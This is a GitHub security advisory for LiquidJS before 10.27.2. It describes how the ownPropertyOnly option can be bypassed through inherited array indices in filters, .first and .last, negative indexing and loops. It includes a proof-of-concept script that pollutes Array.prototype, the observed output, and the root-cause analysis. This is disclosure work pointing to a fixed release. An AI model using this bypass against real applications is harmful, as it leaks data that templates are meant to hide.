GitHub Advisoryadvisory · npm
GHSA-fwxr-j5w2-587m LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration
MEDIUM
Official page ↗
- Aliases
- CVE-2026-106120
- Ecosystem
- npm
- Packages
- liquidjs
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-200
- Reviewed
- 2026-10-07
Affected packages
• npm liquidjs: < 10.27.2 → fixed in 10.27.2
Description
Summary
LiquidJS’s `ownPropertyOnly` option is intended to prevent templates from reading inherited or prototype properties from scope data.
With `ownPropertyOnly: true`, direct access such as:
```liquid
{{ a[0] }}
```
correctly blocks an inherited array index. However, the same inherited value is still disclosed through:
```text
.first
.last
negative indexing
for-loop iteration
first
last
join
reverse
slice
compact
```
Impact
This is an information disclosure issue when an application relies on `ownPropertyOnly: true` to safely render templates over untrusted or prototype-polluted scope data.
Object prototype property reads are blocked as expected, but inherited `Array.prototype` index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that `ownPropertyOnly` is expected to hide.
Proof of concept
```js
const { Liquid } = require("liquidjs");
const engine = new Liquid({ ownPropertyOnly: true });
Array.prototype[0] = "ARRAY_PROTO_POLLUTED";
Object.prototype.secret = "OBJECT_PROTO_POLLUTED";
const a = [];
a.length = 1;
const o = {};
for (const [src, scope] of [
["{{ a[0] }}", { a }],
["{{ a[-1] }}", { a }],
["{{ o.secret }}", { o }],
["{{ a.first }}", { a }],
["{{ a.last }}", { a }],
["{{ a | first }}", { a }],
["{{ a | last }}", { a }],
["{{ a | join: ',' }}", { a }],
["{{ a | reverse | first }}", { a }],
["{{ a | slice: 0, 1 | join: ',' }}", { a }],
["{{ a | compact | join: ',' }}", { a }],
["{% for x in a %}[{{ x }}]{% endfor %}", { a }],
]) {
console.log(src, "=>", JSON.stringify(engine.parseAndRenderSync(src, scope)));
}
delete Array.prototype[0];
delete Object.prototype.secret;
```
Observed behavior
```text
{{ a[0] }} => ""
{{ a[-1] }} => "ARRAY_PROTO_POLLUTED"
{{ o.secret }} => ""
{{ a.first }} => "ARRAY_PROTO_POLLUTED"
{{ a.last }} => "ARRAY_PROTO_POLLUTED"
{{ a | first }} => "ARRAY_PROTO_POLLUTED"
{{ a | last }} => "ARRAY_PROTO_POLLUTED"
{{ a | join: ',' }} => "ARRAY_PROTO_POLLUTED"
{{ a | reverse | first }} => "ARRAY_PROTO_POLLUTED"
{{ a | slice: 0, 1 | join: ',' }} => "ARRAY_PROTO_POLLUTED"
{{ a | compact | join: ',' }} => "ARRAY_PROTO_POLLUTED"
{% for x in a %}[{{ x }}]{% endfor %} => "[ARRAY_PROTO_POLLUTED]"
```
Expected behavior
When `ownPropertyOnly: true` is enabled, inherited array indices should be treated as absent, matching the behavior of:
```liquid
{{ a[0] }}
{{ o.secret }}
```
Inherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration.
Root cause
`ownPropertyOnly` appears to be enforced in `readJSProperty()`, but several array-element access paths use raw or native array operations instead.
Examples include:
```text
negative indexing using obj[obj.length + key]
readFirst/readLast using obj[0] / obj[obj.length - 1]
filters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads
for-loop iteration materializing inherited array indices
```
Because these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when `ownPropertyOnly` is enabled.
Related
Alias · CVE (1)
- CVE-2026-106120 LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. vulnerability
Weakness · CWE (1)
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness
References
- https://github.com/harttle/liquidjs/security/advisories/GHSA-fwxr-j5w2-587m web
- https://nvd.nist.gov/vuln/detail/CVE-2026-106120 advisory
- https://github.com/harttle/liquidjs/pull/924 web
- https://github.com/harttle/liquidjs/commit/552819a84b80c62306fe61072628a756272dc749 web
- https://github.com/harttle/liquidjs package
- https://github.com/harttle/liquidjs/releases/tag/v10.27.2 web